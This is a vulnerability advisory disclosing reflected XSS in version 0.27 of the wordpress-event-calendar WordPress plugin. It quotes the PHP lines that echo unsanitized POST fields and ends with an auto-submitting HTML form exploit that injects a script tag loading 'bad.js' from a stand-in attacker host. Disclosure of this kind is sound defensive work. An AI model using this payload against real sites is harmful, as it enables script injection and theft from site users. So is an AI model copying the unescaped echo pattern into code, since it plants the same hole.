Advisory #: 1402
Title: Reflected XSS in wordpress plugin wordpress-event-calendar v0.27
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wordpress-event-calendar
Downloads: 20331
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wordpress-event-calendar
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wordpress-event-calendar/html/event/fix_invalid_event.php: 36: <input name="eventName" type="text" id="eventName" value="<?php echo $_POST['eventName']; ?>" maxlength="45"/> 48: echo $_POST['eventName']; 58: <input name="eventExcerpt" type="text" id="eventExcerpt" value="<?php echo $_POST['eventExcerpt']; ?>"/> 81: <input type="text" id="eventStartDate" name="eventStartDate" value="<?php echo $_POST['eventStartDate']; ?>" /> 148: <input type="text" id="eventEndDate" name="eventEndDate" value="<?php echo $_POST['eventEndDate']; ?>" /> 240: <input name="eventRepeatTimes" type="text" id="eventRepeatTimes" value="<?php echo $_POST['eventRepeatTimes']; ?>" />times 248: <input name="eventLocation" type="text" id="eventLocation" value="<?php echo $_POST['eventLocation']; ?>" /> 258: <input name="eventURL" type="text" id="eventURL" value="<?php echo $_POST['eventURL']; ?>"/> The variable eventName appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wordpress-event-calendar/html/event/fix_invalid_event.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wordpress-event-calendar/html/event/fix_invalid_event.php method=post> <input type=hidden name=eventName value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>